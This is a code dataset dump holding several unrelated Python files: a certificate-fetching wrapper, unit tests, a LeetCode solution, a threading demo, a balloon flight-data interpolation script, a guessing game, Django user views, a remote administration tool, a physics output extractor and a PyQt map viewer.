subprocess.Popen(['openssl', 's_client', '-showcerts', '-connect', '{0}:443'.format(hostname)], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)\n\tout, _ = ps.communicate()\n\n\tif ps.wait() != 0:\n\t\traise Exception(\"openssl s_client exited with code {0}\".format(ps.wait()))\n\n\tout = out.decode('utf8')\n\n\t# parse certificate chain from the command output\n\tcurrentCert = None\n\tfor line in out.split('\\n'):\n\t\tif re.fullmatch(r'-+BEGIN CERTIFICATE-+\\s*', line):\n\t\t\tcurrentCert = []\n\n\t\tif currentCert != None:\n\t\t\tcurrentCert.append(line)\n\n\t\tif re.fullmatch(r'-+END CERTIFICATE-+\\s*', line):\n\t\t\tyield '\\n'.join(currentCert)\n\t\t\tcurrentCert = None\n\ndef getModulus(cert, mode='x509'):\n\t\"\"\" Takes an X509 certificate (or private key) and returns its modulus \"\"\"\n\n\tps = subprocess.Popen(['openssl', mode, '-noout', '-modulus'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)\n\tout, _ = ps.communicate(cert.encode('ascii'))\n\n\tif ps.wait() != 0:\n\t\traise Exception('getModulus(): openssl exited with code {0}'.format(ps.wait()))\n\n\tout = out.decode('utf8').split('=', 1)\n\treturn out[1].rstrip()\n\n\n\nif __name__ == \"__main__\":\n\t# check tagFile (to see if this script has failed recently)\n\tif os.path.isfile(tagFile):\n\t\tmtime = os.path.getmtime(tagFile)\n\t\twhile datetime.now().timestamp() - mtime < 300:\n\t\t\tlogging.warning(\"{0} has failed in the last 5 minutes, waiting a minute until trying again...\".format(sys.argv[0]))\n\t\t\tlogging.info(\"recreate this container (or remove its '{0}' file) to override this cool-off period\".format(tagFile))\n\t\t\ttime.sleep(60)\n\n\tcode = main()\n\n\tif code >= 2:\n\t\t# An error occured => stop apache (which will in turn stop the container)\n\t\tlogging.error('An error occured while running simp_le. Stopping apache2 server')\n\t\tsubprocess.Popen(['apachectl', 'stop']).wait()\n\n\t\t# update tagFile\n\t\twith open(tagFile, 'w') as f:\n\t\t\tf.write(\"{0} last failed at:\\n\".format(sys.argv[0]))\n\t\t\tf.write(str(datetime.now()))\n\n\t# exit with code 0 on success (code 0 or 1 of simp_le) or 1 on error (code > 1 of simp_le)\n\tsys.exit(0 if code < 2 else 1)\n","sub_path":"res/simpleWrapper.py","file_name":"simpleWrapper.py","file_ext":"py","file_size_in_byte":7325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"274142654","text":"#!/usr/bin/env python\r\n\r\n# Copyright 2018 João Pedro Rodrigues\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\n\"\"\"\r\nUnit tests for read() function\r\n\"\"\"\r\n\r\nimport os\r\nimport unittest\r\n\r\nimport interfacea as ia\r\n\r\nTESTDIR = os.path.dirname(os.path.abspath(__file__))\r\n\r\n\r\nclass TestRead(unittest.TestCase):\r\n\r\n def setUp(self):\r\n self.n_residues = 6\r\n self.n_atoms = 106\r\n self.n_chains = 2\r\n\r\n def test_missingFile(self):\r\n \"\"\"Tests exception throwing when reading non-existent file.\r\n \"\"\"\r\n\r\n fpath = os.path.join(TESTDIR, 'illusions', 'void.pdb')\r\n with self.assertRaises(ia.structure.StructureError):\r\n ia.read(fpath)\r\n\r\n def test_notSupportedExtension(self):\r\n \"\"\"Tests exception throwing when reading file with unsupported extension.\r\n \"\"\"\r\n\r\n fpath = os.path.join(TESTDIR, 'illusions', 'void.pdb')\r\n with self.assertRaises(ia.structure.StructureError):\r\n ia.read(fpath)\r\n\r\n def test_wrongFileType(self):\r\n \"\"\"Tests exception throwing when reading file with wrong user-defined type.\r\n \"\"\"\r\n\r\n fpath = os.path.join(TESTDIR, 'data', 'mini.pdb')\r\n with self.assertRaises(ia.structure.StructureError):\r\n ia.read(fpath, ftype='cif')\r\n\r\n def test_readPDB(self):\r\n \"\"\"Tests reading/parsing a sample PDB file.\r\n \"\"\"\r\n\r\n fpath = os.path.join(TESTDIR, 'data', 'mini.pdb')\r\n s = ia.read(fpath)\r\n top = s.topology\r\n\r\n self.assertEqual(top.getNumAtoms(), self.n_atoms)\r\n self.assertEqual(top.getNumResidues(), self.n_residues)\r\n self.assertEqual(top.getNumChains(), self.n_chains)\r\n\r\n def test_readCIF(self):\r\n \"\"\"Tests reading/parsing a sample mmCIF file.\r\n \"\"\"\r\n\r\n fpath = os.path.join(TESTDIR, 'data', 'mini.cif')\r\n s = ia.read(fpath)\r\n top = s.topology\r\n\r\n self.assertEqual(top.getNumAtoms(), self.n_atoms)\r\n self.assertEqual(top.getNumResidues(), self.n_residues)\r\n self.assertEqual(top.getNumChains(), self.n_chains)\r\n","sub_path":"interfacea/tests/test_read.py","file_name":"test_read.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"324438246","text":"# https://leetcode.com/problems/find-first-and-last-position-of-element-in-sorted-array/\r\n\r\nclass Solution:\r\n def searchRange(self, nums: List[int], target: int) -> List[int]:\r\n li = [-1, -1]\r\n low = 0\r\n high = len(nums) - 1\r\n target1 = float('inf')\r\n while low <= high:\r\n mid = (low + high) // 2\r\n if nums[mid] > target:\r\n high = mid - 1\r\n elif nums[mid] < target:\r\n low = mid + 1\r\n else:\r\n target1 = mid\r\n \r\n break\r\n if target1 == float('inf'):\r\n return li\r\n first = self.first(nums, low, target1 - 1, target1)\r\n second = self.last(nums, target1 + 1, high, target1)\r\n ls = []\r\n ls.append(first)\r\n ls.append(second)\r\n return(ls)\r\n \r\n \r\n def first(self, nums, low, high, target):\r\n while low <= high:\r\n mid = (low + high) // 2\r\n if nums[mid] < nums[target]:\r\n low = mid + 1\r\n elif nums[mid] > nums[target]:\r\n high = mid - 1\r\n else:\r\n target = mid\r\n high = mid - 1\r\n return target\r\n \r\n def last(self, nums, low, high, target):\r\n while low <= high:\r\n mid = (low + high) // 2\r\n if nums[mid] > nums[target]:\r\n high = mid - 1\r\n elif nums[mid] < nums[target]:\r\n low = mid + 1\r\n else:\r\n target = mid\r\n low = mid + 1\r\n return target\r\n","sub_path":"Find_First_and_Last_Position_of_Element_in_Sorted_Array.py","file_name":"Find_First_and_Last_Position_of_Element_in_Sorted_Array.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"114732244","text":"import threading\r\nimport time\r\n\r\n\r\ndef thread_job():\r\n print(\"T1 begin.\")\r\n for i in range(10):\r\n \ttime.sleep(0.1)\r\n print(\"T1 done.\")\r\n\r\n\r\ndef thread2_job():\r\n\tprint(\"T2 begin.\")\r\n\tprint(\"T2 done.\")\r\n\r\n\r\ndef main():\r\n added_thread = threading.Thread(target=thread_job, name='T1') # Initialize a threading and give a job\r\n another_thread = threading.Thread(target=thread2_job, name='T2')\r\n\r\n added_thread.start() # Activate\r\n another_thread.start()\r\n\r\n added_thread.join() # Wait for the thread\r\n\r\n print('All done.')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"Threading/threading_example2(Join).py","file_name":"threading_example2(Join).py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"492034213","text":"'''\nAssignment to learn how to interpolate data1\n'''\nimport sys\nfrom datetime import datetime as dt\nimport matplotlib.pylab as plt\nimport numpy as np\n\n# \"We need a code that will read in temperature time series, \n# read in a GPS time series, and use an interpolation algorithm to produce a plot of temperature vs. altitude.\"\n\n# Atmospheric data\n## Note the first file contains three columns of temperature data. We will be using the first temperature senser column \n## Here we care about columns 2 (Time) and 4 (Ch1:Deg F)\n\n# GPS data (GPSData.txtPreview the document)- \n## The transmission log file from the in-flight telemetry data. \n## Here the time is spread across columns 1, 2, 3 (GPS HOURS, MIN, SEC) also column 7 (Altitude) \n\ndef read_wx_data(wx_file, harbor_data):\n \"\"\"\n Read temperature and time data from file.\n Populates the harbor_data dictionary with two lists: wx_times and wx_temperatures\n :param wx_file: File object with data\n :param harbor_data: A dictionary to collect data.\n :return: Nothing\n \"\"\"\n times = [] # list to hold wx times\n temperatures = [] # list to hold wx temperartures\n \n # Open file and skip first row. \n # Split each row by comma seperator.\n # Capture the time and temperature of wx data and append to lists \n with open(wx_file, mode = 'r') as file: \n file.readline() \n for line in file: \n line_words = line.split(\",\") \n times.append(line_words[1]) \n temperatures.append(float(line_words[3])) \n harbor_data['wx_temps'] = temperatures # add temperature list to dictionary\n\n # Convert string time to float hours for easier plotting\n init_time = times[0] # take first time which will be your time zero\n harbor_data['wx_times'] = [] # list to hold the data\n for h_time in times:\n delta_t = dt.strptime(h_time,'%H:%M:%S') - dt.strptime(init_time,'%H:%M:%S') # get delta time\n harbor_data['wx_times'].append(float(delta_t.total_seconds()/3600)) # convert to hours\n \n \ndef read_gps_data(gps_file, harbor_data):\n \"\"\"\n Read gps and altitude data from file.\n Populates the harbor_data dictionary with two lists: gps_times and gps_altitude\n :param gps_file: File object with gps data\n :param harbor_data: A dictionary to collect data.\n :return: Nothing\n \"\"\"\n times = [] # list of dates data\n alt = [] # list of temperarture data\n \n # Open file and skip first two rows. \n # Split each row by space seperator.\n # Capture hour, minute, and seconds and append to time string in format HH:MM:SS\n # Append formatted times to times list\n # Capture altitude, cast to float type, and append to list \n with open(gps_file, mode = 'r') as file:\n file.readline() # extract first row to skip\n file.readline() # extract second row to skip\n for line in file:\n line_words = line.split()\n time = line_words[0]+\":\"+line_words[1]+\":\"+line_words[2]\n times.append(time)\n alt.append(float(line_words[6]))\n harbor_data['gps_alt'] = alt\n \n # Convert string time to float hours for easier plotting\n init_time = times[0] # take first time which will be your time zero\n harbor_data['gps_times'] = [] # list to hold the data\n for h_time in times:\n delta_t = dt.strptime(h_time,'%H:%M:%S') - dt.strptime(init_time,'%H:%M:%S') # get delta time\n harbor_data['gps_times'].append(float(delta_t.total_seconds()/3600)) # convert to hours\n \n \n\n\n\ndef interpolate_wx_from_gps(harbor_data):\n \"\"\"\n Compute wx altitudes by interpolating from gps altitudes\n Populates the harbor_data dictionary with four lists:\n 1) wx correlated altitude up\n 2) wx correlated temperature up\n 3) wx correlated altitude down\n 4) wx correlated temperature down\n :param harbor_data: A dictionary to collect data.\n :return: Nothing\n \"\"\"\n # Lists to hold ascention and descention data\n wx_ascalt = []\n wx_asctemp = []\n wx_desalt = []\n wx_destemp = []\n\n # Variables to hold max altitude and max GPS time\n max_alt = max(harbor_data[\"gps_alt\"])\n max_gpstime = harbor_data[\"gps_times\"][-1]\n \n # Variables to hold Beginning and Ending altitueds in a specified range\n start_alt = harbor_data[\"gps_alt\"][0]\n last_alt = harbor_data[\"gps_alt\"][1]\n\n # List to hold interpolated altitudes (estimated altitudes between recorded altitudes).\n introp_alt = []\n\n \n i = 0 # wx temperature iterator\n j = 0 # GPS altitude and time iterator\n count = 0 # wx range count\n sizeOfList = len(harbor_data[\"wx_times\"]) # Number of wx temperatures\n\n while i <= sizeOfList: # Loop for every measured WX time\n if harbor_data[\"wx_times\"][i] <= harbor_data[\"gps_times\"][j]: # Count how many wx are taken inbetween GPS times\n count+=1\n else: # When wx time is equal to gps time (actually when the time finally exceeps the current GPS time)\n introp_range = list(np.linspace(start_alt,last_alt,count, endpoint=False)) # Create an estimate (range) of altitudes for temperatures recorded between GPS measurements\n introp_alt.extend(introp_range)# Append the range list to an interpolated data list\n start_alt = last_alt # Set the starting GPS altitude to be used in next range\n count=1 # Reset the count (set to 1 so we don't skip the exceeded wx time) \n if harbor_data[\"gps_times\"][j] >= max_gpstime: # if the GPS time at iter j is our last GPS time, break from loop\n introp_alt.append(last_alt) #append the last GPS altitude\n break\n j+=1 # increment GPS iterator \n last_alt = harbor_data[\"gps_alt\"][j] # set the ending GPS altitude to be used in next range\n i+=1 # increment wx temp iterator\n\n\n sizeOfList = len(introp_alt) \n flag = False\n i = 0\n \n # Now that we have an altitude for every wx temperatures, make an ascention and descention altitude and time list\n while i < sizeOfList:\n if introp_alt[i] == max_alt: # When max altitude, set flag to start recording descention. Append last Ascention record\n flag = True\n wx_ascalt.append(introp_alt[i])\n wx_asctemp.append(harbor_data[\"wx_temps\"][i])\n if flag: # if flag is set, switch to descention list\n wx_desalt.append(introp_alt[i])\n wx_destemp.append(harbor_data[\"wx_temps\"][i])\n else: # if flag not set, add to ascention list\n wx_ascalt.append(introp_alt[i])\n wx_asctemp.append(harbor_data[\"wx_temps\"][i])\n i+=1\n\n # add lists to harbor data dictionary\n harbor_data[\"alt_up\"] = wx_ascalt\n harbor_data[\"temp_up\"] = wx_asctemp \n harbor_data[\"alt_dn\"] = wx_desalt\n harbor_data[\"temp_dn\"] = wx_destemp\n\n# plot the ascention and descention graphs\ndef plot_figs(harbor_data):\n \"\"\"\n Plot 2 figures with 2 subplots each.\n :param harbor_data: A dictionary to collect data.\n :return: nothing\n \"\"\"\n pass\n plt.figure()\n # plt.subplot(2, 1, 1) # select first subplot\n # plt.title(\"Harbor Flight Data\")\n # plt.plot(harbor_data['wx_times'], harbor_data['wx_temps']) \n # plt.ylabel(\"Temperature, F\")\n # plt.xlabel(\"Elapsed hours\")\n # plt.ylim([-60, 80])\n # plt.xlim([0, 2.5])\n\n # plt.subplot(2, 1, 2) # select second subplot\n # plt.plot(harbor_data['gps_times'], harbor_data['gps_alt']) \n # plt.ylabel(\"Altitude Ft\")\n # plt.xlabel(\"Elapsed hours\")\n # plt.xlim([0, 2.5])\n # plt.ylim([0, 100000])\n\n # Plot = Row, Col, selected sublot\n plt.subplot(1, 2, 1) # select first subplot\n plt.title(\"Harbor Ascent Flight Data\")\n plt.plot(harbor_data['temp_up'], harbor_data['alt_up']) \n plt.ylabel(\"Altidude, Ft\")\n plt.xlabel(\"Temperature, F\")\n plt.ylim([0, 100000])\n plt.xlim([-50, 100])\n\n plt.subplot(1, 2, 2) # select fourth subplot\n plt.title(\"Harbor Ascent Flight Data\")\n plt.plot(harbor_data['temp_dn'], harbor_data['alt_dn']) \n plt.xlabel(\"Temperature, F\")\n #plt.xlabel(\"Elapsed hours\")\n plt.ylim([0, 100000])\n plt.xlim([-60, 120])\n\n\n plt.show() # display plot\n\n\ndef main():\n \"\"\"\n Main function\n :return: Nothing\n \"\"\"\n harbor_data = {}\n wx_file = sys.argv[1] # first program input param\n gps_file = sys.argv[2] # second program input param\n\n read_wx_data(wx_file, harbor_data) # collect weather data\n read_gps_data(gps_file, harbor_data) # collect gps data\n interpolate_wx_from_gps(harbor_data) # calculate interpolated data\n plot_figs(harbor_data) # display figures\n\n\nif __name__ == '__main__':\n main()\n exit(0)\n","sub_path":"lab4/lab4.py","file_name":"lab4.py","file_ext":"py","file_size_in_byte":8955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"575566823","text":"#!/bin/python3\n\n\"\"\"I.4.a. Zaprogramuj w języku Python (001) grę w zgadywanie liczby z przedziału od 1 do 100.\nProgram ma za zadanie wylosować liczbę, a użytkownik ma ją zgadnąć. Jeśli użytkownik poda\nliczbę mniejszą niż liczba wylosowana, to program wypisuje tekst \"za mała liczba\", a jeśli\npoda większą liczbę, to wypisuje tekst \"za duża liczba\". Jeśli użytkownik poda wylosowaną\nliczbę, to wypisuje tekst „brawo, mój przyjacielu”.\"\"\"\n\nfrom random import randrange\n\nrandom_number = randrange(1,101)\nplayer_number=0\nprint(random_number)\nwhile random_number!=player_number:\n player_number=int(input('Podaj liczbe z przedziału od 1 do 100: '))\n if random_number>player_number and player_number>0:\n print(\"za mała liczba\")\n elif random_number\")\nelse:\n print(\"Brawo, mój przyjacielu\")","sub_path":"Guess_Game/python_game_v1.0.py","file_name":"python_game_v1.0.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"97767809","text":"from django.shortcuts import render, Http404, get_object_or_404\nfrom user.forms import RegUserForm, AuthUserFormPanel, AuthUserForm, PassChangeForm, UserEditForm\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.template.response import TemplateResponse\nfrom django.contrib.auth import authenticate, login\nfrom django.views.generic import CreateView, DeleteView, UpdateView\nfrom user.models import PmcUser\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom django.core.urlresolvers import reverse, reverse_lazy\nfrom django.contrib.auth import logout, update_session_auth_hash\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.views.decorators.debug import sensitive_post_parameters\nfrom django.core.exceptions import PermissionDenied\nimport re as regex\n\n\nclass LoginRequeiredMixin(object):\n @classmethod\n def as_view(cls, **initkwargs):\n view = super(LoginRequeiredMixin, cls).as_view(**initkwargs)\n return login_required(view)\n\n\nclass AjaxableResponseMixin(object):\n def form_invalid(self, form):\n response = super(AjaxableResponseMixin, self).form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n response = super(AjaxableResponseMixin, self).form_valid(form)\n if self.request.is_ajax():\n if self.request.GET['next']:\n redirect = self.request.GET['next']\n else:\n redirect = '/'\n data = {\n 'redirect': redirect\n }\n return JsonResponse(data)\n else:\n return response\n\n\nclass RegUser(AjaxableResponseMixin, CreateView):\n '''\n Регистрация читателя\n '''\n model = PmcUser\n form_class = RegUserForm\n template_name = 'user/reg_form.html'\n\n def form_valid(self, form):\n user = form.save()\n user.set_password(self.request.POST.get('password'))\n user.save()\n user = authenticate(username=self.request.POST.get('username'), password=self.request.POST.get('password'))\n user.backend = 'django.contrib.auth.backends.ModelBackend'\n login(self.request, user)\n return super(RegUser, self).form_valid(form)\n\n def get_success_url(self):\n next_url = self.request.GET['next']\n if next_url:\n return \"%s\" % (next_url)\n else:\n return reverse('index')\n\n def get_context_data(self, **kwargs):\n context = super(RegUser, self).get_context_data(**kwargs)\n context['next'] = self.request.GET['next']\n return context\n\n\ndef logining(request):\n if request.user.is_authenticated():\n return HttpResponseRedirect(reverse('index'))\n if request.is_ajax():\n if request.method == 'POST':\n response_data = {}\n form = AuthUserForm(data=request.POST)\n if form.is_valid():\n login(request, form.get_user())\n response_data['redirect'] = request.GET.get('next', '/')\n return JsonResponse(response_data)\n return JsonResponse(form.errors, status=400)\n return render(request, 'user/login.html', {'next': request.GET.get('next', '/'), 'form': AuthUserForm })\n if request.method == 'POST':\n form = AuthUserFormPanel(data=request.POST)\n if form.is_valid():\n login(request, form.get_user())\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'), '/')\n context = {'auth_form': form }\n return TemplateResponse(request, 'user/login_repeat.html', context)\n context = {'auth_form': AuthUserFormPanel()}\n return TemplateResponse(request, 'user/login_repeat.html', context)\n\n\nclass UserDeleteView(LoginRequeiredMixin, DeleteView):\n model = PmcUser\n slug_field = 'username'\n success_url = reverse_lazy('index')\n\n def post(self, request, *args, **kwargs):\n if not self.kwargs['slug'] == self.request.user.username:\n raise PermissionDenied\n return super(UserDeleteView, self).post(request, *args, **kwargs)\n\n def get(self, request, *args, **kwargs):\n raise Http404\n\n\n@sensitive_post_parameters()\n@csrf_protect\n@login_required\ndef profile_edit(request):\n if request.method == 'POST':\n if 'form_c' in request.POST:\n form = PassChangeForm(user=request.user, data=request.POST)\n if form.is_valid():\n form.save()\n update_session_auth_hash(request, form.user)\n messages.add_message(request, messages.INFO, 'Пароль успешно изменен!')\n return HttpResponseRedirect(reverse('profile'))\n context = {'form_c': form, 'form_a': UserEditForm(instance=request.user)}\n return TemplateResponse(request, 'user/profile.html', context)\n else:\n form_a = UserEditForm(data=request.POST, files=request.FILES, instance=request.user)\n if form_a.is_valid():\n form_a.save()\n messages.add_message(request, messages.INFO, 'Профиль успешно отредактирован!')\n return HttpResponseRedirect(reverse('profile'))\n context = {'form_c': PassChangeForm(user=request.user), 'form_a': form_a}\n return TemplateResponse(request, 'user/profile.html', context)\n else:\n form_c = PassChangeForm(user=request.user)\n form_a = UserEditForm(instance=request.user)\n context = {'form_c': form_c, 'form_a':form_a}\n return TemplateResponse(request, 'user/profile.html', context)\n\n\nclass UserUpdate(UpdateView):\n model = PmcUser\n template_name = 'user/profile.html'\n form_class = UserEditForm\n success_url = '/'\n\n def get_object(self):\n obj = get_object_or_404(PmcUser, username=self.request.user)\n return obj\n\n\ndef logout_view(request):\n logout(request)\n redir_url = request.GET.get('next', '/')\n if regex.match(r'^\\/accounts.*', redir_url):\n redir_url = '/'\n return HttpResponseRedirect(redir_url)\n","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"257816564","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# author:Abel\nimport json\nfrom modules.shell_modules import FabricShell\nfrom modules.transfer_modules import FabricTransfer\n\n\nclass MyFabric(FabricShell, FabricTransfer):\n\n def __init__(self, command):\n \"\"\"\n MyFabric的构造方法\n :param command: 传入命令\n \"\"\"\n user_info = json.load(open(\"../conf/passwd\", \"r\",encoding=\"utf-8\")).strip().split(\":\")\n self.user = user_info[0] # 用户名\n self.passwd = user_info[1] # 密码\n self.command = command # 命令\n self.group = {} # 所有组\n self.hosts = [] # 所有用户\n with open(\"../conf/hosts.conf\",\"r\") as file:\n for line in file:\n info = line.strip().split(\":\")\n # 长度info小于等于1表示不为host；info[0]存在说明不为空行\n if len(info) <= 1 and info[0]:\n # info数据为[[组名]]\n # 去掉两边的中括号[],留下的数据为conf内的[test],组名test\n group = info[0].strip(\"[]\")\n # 表示将组名作为key传入到self.group字典内，并定义他为一个列表\n self.group[group] = []\n # info列表大于1的时候，说明这是一个ip地址\n if len(info) > 1:\n # info数据为[ip , port]\n # 将info加入到self.hosts列表\n self.hosts.append(info)\n # 将info加入到各自的组\n self.group[group].append(info)\n\n def fabric_command(self):\n \"\"\"\n 通过用户输入的参数，来调用相应的方法\n :return:\n \"\"\"\n try:\n method_name = \"fabric_%s\" % (self.command[1]) # 方法名\n except:\n print(\"myfabric.py: [host|group|shell|put|get|help]\") # 不存在则打印出用法\n return False\n if hasattr(self, method_name): # 通过反射寻找方法\n method = getattr(self, method_name) # 找到方法则get下来赋值\n cmd_result = method() # 执行方法，并赋值给cmd_result\n else:\n print(\n \"myfabric.py: [host|group|shell|put|get|help]\") # 如果没有找到方法，则打印出用法\n return False\n\n def fabric_host(self):\n \"\"\"\n 此方法将所有所有的主机IP和端口输出至控制台\n :return:\n \"\"\"\n print(\"ID\\tIP\\t\\tPort\")\n for host in enumerate(self.hosts):\n id = host[0]\n ip = host[1][0]\n port = host[1][1]\n print(\"%s\\t%s\\t%s\" % (id, ip, port))\n return True\n\n def fabric_group(self):\n \"\"\"\n 此方法将所有的组名输出至控制台\n :return:\n \"\"\"\n print(\"ID\\tName\")\n for group in enumerate(self.group):\n id = group[0]\n name = group[1]\n print(\"%s\\t%s\" % (id, name))\n return True\n\n def fabric_help(self):\n \"\"\"\n 此方法为帮助，将所有用法输出至控制台\n :return:\n \"\"\"\n help_content=\"\"\"\n myfabric.py [host|group|shell|put|get|help]\n\n help 帮助\n\n host 列出所有主机\n\n group 列出所有组\n\n shell 执行shell命令，后面需要接--host或者--group\n 格式为:myfabric.py shell [--host=‘服务器’|--group='组'] --cmd='shell命令'\n\n put 上传本地文件至服务器\n 格式为: myfabric.py put [--host=‘服务器’|--group='组'] --s_path='源文件路径' --d_path='目的地路径'\n\n get 下载服务器文件至本地\n 格式为: myfabric.py get [--host=‘服务器’|--group='组'] --s_path='源文件路径' --d_path='目的地路径'\n\n --host [shell|put|get] --host='主机名或IP:端口'\n\n --group [shell|put|get] --group='组名'\n\n --cmd --cmd='shell命令'\n\n --s_path put时， --s_path = '本地文件路径'\n get时， --s_path = '服务器文件路径'\n\n --d_path put时, --d_path = '服务器文件路径'\n get时, --d_path = '本地文件路径'\n \"\"\"\n print(help_content)\n\n\n\ndef run_func(cmd):\n server = MyFabric(cmd) # 定义对象，并传入参数\n server.fabric_command() # 执行fabric_command方法","sub_path":"day10/myfabric/modules/myfabric_modules.py","file_name":"myfabric_modules.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"212062570","text":"from tkinter import *\nfrom tkinter import filedialog as fd\n\n\n\ndef may():\n#выбор загружаемого файла\n fn = fd.askopenfilename()\n#ключевые слова для поиска, чтоб вывести только нужные строки в новый документ\n word = 'Kohn-Sham energy differences'\n word2 = 'Sum of osc. strength'\n word3 = 'Fermi (or HOMO) energy (hartree)'\n k=0\n \n z1 = []\n z2 = []\n #создание txt в который будут выгружены нужные мне данные\n f = open('textt.txt', 'w')\n with open(fn, encoding='utf-8') as file:\n for line in file:\n #cчетчик строк\n k += 1\n #поиск номера строки где начинаются столбцы нужных данных\n if word in line:\n z1.append(k)\n #конец данных\n if word2 in line:\n z2.append(k)\n #поиск ключевого числа \n if word3 in line:\n g = line[37:45]\n kk = k\n k=0\n#Вывод нужных данных в отдельный текстовый документ\n with open(fn, encoding='utf-8') as file: \n for line in file:\n k += 1\n #условие, по которому будут скопированы те строки, которые входят в диапазон \n #нужных данных\n if (k>z1[0]+3) and (kkk:\n gg = line\n f.write(gg)\n f.close()\n\n#интерфейс \nw1 = Tk()\nw1.title('Извлекатель')\nw1.geometry('302x62')\nw1.config(bg='blue') \nb1 = Button(text=\"Выполнить\", command=may)\nb1.grid(row=1)\nw1.mainloop() \n\n \n \n \n \n \n \n\n \n\n \n \n \n \n\n\n","sub_path":"B4162/Kolotaev/kursovaya/kurs.py","file_name":"kurs.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146736345","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom PyQt5.QtCore import Qt,QPoint,QPointF\nfrom PyQt5.QtWidgets import QWidget,QApplication,QVBoxLayout,QHBoxLayout,QPushButton,QLineEdit,QGroupBox,QGridLayout,QLabel,QTabWidget,QFileDialog,QComboBox,QButtonGroup\nfrom PyQt5.QtGui import QPixmap,QImage,QPainter,QPen,QPolygonF,QTransform\nimport random\nimport csv\nfrom PIL import Image\nimport os\nimport numpy as np\n\nclass MapView(QWidget):\n def __init__(self,securityRange):\n super().__init__()\n\n self.px = None\n self.py = None\n self.points = []\n self.psets = []\n self.securityLine = [[False] * 801 for i in range(801)]# 801x801の２次元配列\n self.Landing_Range = [[1] * 4 for i in range(56)]\n self.buffer = []\n self.startingPoint = [220,243]\n self.landingPoint = [[QPoint(0,0)]*9 for i in range(7)]\n \n\n self.securityRange = securityRange\n\n self.loadSecurityRange()\n\n self.setMinimumSize(600, 600)\n self.setMaximumSize(600,600)\n # pic = Image.open(os.path.dirname(os.path.abspath(sys.argv[0]))+'/pic/TaikiLand8deg.png').resize((560,560),Image.LANCZOS) #ここでピクセル指定する。\n # pic.save(os.path.dirname(os.path.abspath(sys.argv[0]))+'/pic/map.png')\n\n self.image = QImage(os.path.dirname(os.path.abspath(sys.argv[0]))+'/'+settingFile+'/map.png')\n\n def drawLandingRange(self,Landing_Range,scalefacter,lanchpoint):\n for i in range(56):\n for j in range(2): \n Landing_Range[i][2*j] = Landing_Range[i][2*j]/scalefacter+lanchpoint[0]\n Landing_Range[i][1+2*j] = -Landing_Range[i][1+2*j]/scalefacter+lanchpoint[1]\n\n for i in range(56):\n self.landingPoint[i//8][i%8] = QPoint(Landing_Range[i][0],Landing_Range[i][1])\n if(i%8 == 7): self.landingPoint[i//8][8] = self.landingPoint[i//8][0]\n \n self.update()\n\n def paintEvent(self, e):\n \n painter = QPainter(self)\n pen = QPen()\n\n painter.drawImage(0, 0,self.image)\n \n painter.drawPoint(0,0)\n painter.setPen(Qt.red)\n \n # for points in self.list:\n # painter.drawPolyline(*points)\n painter.drawPoint(int(self.startingPoint[0]),self.startingPoint[1])\n\n # draw securityRange\n for i in range(560): \n for j in range(560):\n if(self.securityRange[i][j]=='True'):\n pass\n # painter.drawPoint(i,j)\n\n painter.setPen(QPen(Qt.yellow, 1, Qt.SolidLine))\n\n for points in self.landingPoint:\n painter.drawPolyline(*points)\n\n # draw lanchpoint\n # painter.drawPoint(self.lanchpoint[0],self.lanchpoint[1])\n\n\n\n for points in self.psets: \n painter.drawPolyline(*points) \n\n painter.drawLine(496, 556, 549, 556) # scale config\n \n def mousePressEvent(self, event):\n self.points.append(event.pos())\n self.update()\n \n # def mouseMoveEvent(self, event):\n # self.points.append(event.pos())\n # self.update()\n \n # def mouseReleaseEvent(self, event):\n # self.pressed = False\n # self.psets.append(self.points)\n # self.update()\n \n def loadSecurityRange(self):\n with open(os.path.dirname(os.path.abspath(sys.argv[0]))+'/'+settingFile+'/securityRange.csv', 'r') as file:\n reader = csv.reader(file)\n for (i,line) in zip(range(560),reader):\n for (j,row) in zip(range(560),line):\n self.securityRange[i][j] = row","sub_path":"MapView.py","file_name":"MapView.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"423616439","text":"from outsourcer import Code\n\nfrom . import utils\nfrom .base import Expression\nfrom .constants import POS, RESULT, 